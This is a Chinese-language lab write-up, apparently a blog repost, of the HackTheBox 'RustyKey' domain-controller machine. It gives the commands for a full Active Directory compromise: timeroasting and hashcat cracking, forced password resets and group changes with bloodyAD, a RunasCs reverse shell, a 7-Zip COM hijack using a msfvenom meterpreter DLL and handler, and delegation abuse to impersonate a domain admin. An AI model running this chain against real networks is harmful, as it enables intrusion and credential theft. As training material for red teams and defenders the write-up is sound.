HTB 第八赛季RustyKey靶机:域控渗透实战复盘

欢迎关注同名微信公众号:红队安全圈

------------

hackthebox 第八赛季的新靶机 RustyKey 设计的还可以,难度是Hard,考验了攻击者在域渗透中 timeroasting 攻击的利用、哈希爆破、对受保护对象的理解、COM劫持以及约束委派进行提权,是非常实战的红队靶场,对于攻击者和企业防守方都能从中吸取经验。

靶机地址

https://app.hackthebox.com/machines/669

适合读者

√ 红队渗透测试人员
√ 企业安全运维人员
√ CTF竞赛战队
√ 想掌握链式攻击思维的安全从业者

 

一、信息收集

端口扫描

nmap -sT --min-rate 10000 -p- 10.10.11.75 -oA nmapscan/ports

从开放的 88 389 636 等端口来看很可能是一台域控机器

 

扫端口详细信息,得到一个域名rustykey.htb

nmap -sT -Pn -sV -sC -O -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49668,49669,49670,49671,49672,49673,49676,49689,49718 10.10.11.75

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-29 08:31:15Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  msrpc         Microsoft Windows RPC
49718/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2019 (96%), Microsoft Windows Server 2016 (95%), Microsoft Windows Server 2012 (93%), Windows Server 2019 (93%), Microsoft Windows Vista SP1 (93%), Microsoft Windows 10 (93%), Microsoft Windows 10 1709 - 21H2 (93%), Microsoft Windows 10 1803 (92%), Microsoft Windows 10 1903 (92%), Microsoft Windows 10 21H1 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h37m28s
| smb2-time: 
|   date: 2025-06-29T08:32:20
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

人员/机器信息

先同步一下客户端与服务器时间

 

靶场给了个初始账号rr.parker / 8#t5HE8L!W3A,结合上面开放的端口情况,可以尝试 SMB/Winrm/WMI 等协议登录

有报错,并非是账号密码不对,而是协议不支持,域内 SMB 认证默认使用 NTLM 协议,看来是禁用了 NTLM

 

加上 -k 参数使用 kerberos 协议,ldap 认证成功

nxc ldap 10.10.11.75 -u rr.parker -p '8#t5HE8L!W3A' -k

 

继续探测到一些机器名和用户名,其中DC$就是当前域控的机器名

 

 

把他们做成字典,用默认密码喷洒没有发现密码复用

先把域名添加到 hosts

echo '10.10.11.75 rustykey.htb dc.rustykey.htb' >> /etc/hosts

后续的操作都通过 kerberos 协议,例如 bloodyAD 等工具也有类似的 -k 参数,不再赘述

二、漏洞探测

timerosting

bloodhound-ce-python -u rr.parker -p '8#t5HE8L!W3A' -d rustykey.htb -dc dc.rustykey.htb -c all -ns 10.10.11.75 --zip

导入 bloodhound 分析,当前已知的 rr.parker 用户并没有什么可以直接利用的权限或者横向的条件

 

经过不断的翻找资料,发现 timeroasting 这种攻击方式

域内计算机通过MS-SNTP协议与域控制器(DC)同步时间时,请求中包含计算机账户的RID(相对标识符),DC返回的响应数据使用NTLM加密生成消息认证码(MAC)。由于DC不验证请求者身份,攻击者可遍历域内计算机账户的RID,收集这些MAC并离线破解,类似于AS-REP Roasting攻击,Timeroasting是一种隐蔽的离线攻击手段,虽实际利用条件较苛刻,但为攻击者提供了新的攻击面

利用条件:

  1. 1. 目标域中存在弱密码的计算机账户
  2. 2. 攻击者需能访问域内网络或已获取初始立足点,通过工具(如Timeroast脚本)提取哈希
  3. 3. 仅针对计算机账户(默认以$结尾)

先收集一下哈希,nxc 就可以完成

nxc smb dc.rustykey.htb -M timeroast

 

这个 python 项目也可以收集👇

https://github.com/SecuraBV/Timeroast?tab=readme-ov-fil

然后尝试用 hashcat 离线破解哈希,这里有个坑需要注意,根据找到的资料来看,hashcat 最新的 bate 版才支持上面这种哈希,而 kali 最新版中目前最新的 hashcat 并没有支持 31300,因此需要手动去官网下载 bate 版本

 

./hashcat.bin -m 31300 -a 0 ../hashs.txt /usr/share/wordlists/rockyou.txt

哈希去掉前面的 RID,保留从$开始的部分,指定 31300 模式爆出一个密码:Rusty88!

 

受保护的对象?

这个哈希 rid 是 1125,查看 bloodhound 对应的机器是IT-COMPUTER3,机器账号是IT-COMPUTER3$,它对 HELPDESK 组有 AddSelf 权限

 

同时 HELPDESK 对下图四个用户有 ForceChangePassword 权限,对 Protected Objects 组有 AddMember 权限

 

尝试横向到第一个 BB.MORGAN 用户,给他强制改密并登录

# 先把IT-COMPUTER3添加到helpdesk组内
bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k add groupMember HELPDESK 'IT-COMPUTER3$'

# 修改 BB.MORGAN 用户密码
bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password BB.MORGAN 'RTCC@123'

 

nxc 验证账号密码是否修改成功,然而报了个错误KDC_ERR_ETYPE_NOSUPP,加密方式不支持,可能是使用了强加密类型,禁用了弱加密类型

 

分析 bloodhound 发现 BB 用户属于 IT 组,IT 组又属于 Protected Objects 组是受保护的对象,安装策略更加严格

 

最简单的方式尝试把 IT 组从受保护的对象中移除,使用 IT-COMPUTER3$ 用户尝试移除成功

bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k remove groupMember 'PROTECTED OBJECTS' 'IT'

 

winrm 无法直接用明文登录,需要获取 TGT 票据,使用 kerberos 认证登录

# 获取tgt票据,在当前目录下生成一个票据文件
impacket-getTGT 'RUSTYKEY.HTB/BB.MORGAN:RTCC@123'

# 添加环境变量
export KRB5CCNAME=BB.MORGAN.ccache

# winrm -r 参数kerberos认证
evil-winrm -i dc.rustykey.htb -r RUSTYKEY.HTB

使用 TGT 票据登录成功,在 BB 用户的桌面发现 flag

 

三、权限提升

Runas

上一步骤获得 BB 用户的目录下看到一个 PDF 文件, 从里面能看到浓烈的提权信息,包括:

  1. 1. 邮件是 IT 部门发给 support 团队
  2. 2. 给 support 团队成员临时添加了一些特殊权限
  3. 3. 测试一个压缩/解压软件的上下文菜单功能
  4. 4. 需要关注这个软件的注册表,很可能提权条件就在这里

 

support 组只有一个用户 EE.REED,前面得知 helpdesk 组对 EE 用户也有强制改密码的权限

 

support 组也属于受保护的对象

 

因此可以用对 BB 用户一样的操作来对 EE 用户

# 修改密码
bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password EE.REED 'RTCC@123'

# 把support组从受保护的对象移除
bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k remove groupMember 'PROTECTED OBJECTS' 'SUPPORT'

测试时获取 EE 用户的 TGT 票据失败,不过没关系,现在已经有远程交互权限,直接上传一个 runascs.exe 工具,以 EE 用户反弹一个 shell 出来

runascs.exe 是系统自带 runas 的升级版,可以非交互式直接在把密码作为参数一条命令完成操作,类似的还有 lsrunas.exe、lsrunase.exe 等

.\RunasCs.exe ee.reed RTCC@123 cmd.exe -r 10.10.14.98:4445

 

COM 劫持

根据前面 PDF 中的线索,在该机器的软件安装目录发现安装了 7zip 压缩软件,线索中还提到了需要关注压缩软件的注册表,因此先查询一下注册表项

reg query HKEY_CLASSES_ROOT\CLSID /f "7-Zip" /s

看到 7-zip 的 CLSID 以及加载的一个 dll 路径

 

上传 accesschk.exe 检测到 support 组对这个注册表有读写权限

 

MSF 生成一个恶意 dll,上传到目标机器临时目录,攻击机开启监听

# 生成dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.98 LPORT=4444 -f dll -o RTCC.dll

# 开启监听
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.14.98; set LPORT 4444; exploit"

用前面获得的 EE 用户修改注册表为恶意 dll 的路径,如果有人使用了 7zip,就会执行恶意 dll

reg add "HKLM\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" /ve /d "C:\windows\temp\RTCC.dll" /f

经过一会儿等待后,msf 上线一个 MM.TURNER 用户

约束委派

MM 用户属于 DELEGATIONMANAGER 组,后者对域控有AddAllowedToAct权限

AddAllowedToAct 是域中的一种权限,允许某个用户或计算机账户配置其他账户的 "允许充当"(AllowedToAct)属性,从而控制Kerberos约束委派的权限,可以修改目标账户的委派设置,使其能代表其他用户访问特定服务,或用于伪造高权限账户(如域管理员)的票据(TGT/TGS),访问敏感资源。AddAllowedToAct 权限滥用可导致权限提升和横向移动,是域渗透中的关键攻击面之一

 

powershell 命令设置一下约束委派,使IT-COMPUTER3$可以冒充域控机器

# 设置域控的约束委派
Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount "IT-COMPUTER3$"

# 查询域控的约束委派,关注 PrincipalsAllowedToDelegateToAccount 字段
Get-ADComputer DC -Properties PrincipalsAllowedToDelegateToAccount

 

现在 IT-COMPUTER3$ 可以以 DC 的身份访问一些服务,比如申请一张域管 backupadmin 身份的票据去访问文件共享服务器

impacket-getST 'RUSTYKEY.HTB/IT-COMPUTER3$:Rusty88!' -spn 'cifs/DC.rustykey.htb' -impersonate backupadmin -dc-ip 10.10.11.75

如下票据请求成功,在当前目录下生成一个.ccache票据,添加到环境变量

 

现在使用票据可以去 dump 哈希密码,加上 -no-pass 参数

 

或者直接 wmiexec 登录获得域管权限,在 administrator 桌面发现 root flag

 

企业防守建议

  1. 1. 增强 Kerberos 密码策略,避免使用弱密码
  2. 2. 定期审查域用户和组的权限设置
  3. 3. 定期更新和维护安全工具和系统
  4. 4. 加强员工安全培训,提高识别钓鱼邮件和其他社会工程学攻击的能力

------------

欢迎关注同名微信公众号:红队安全圈

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值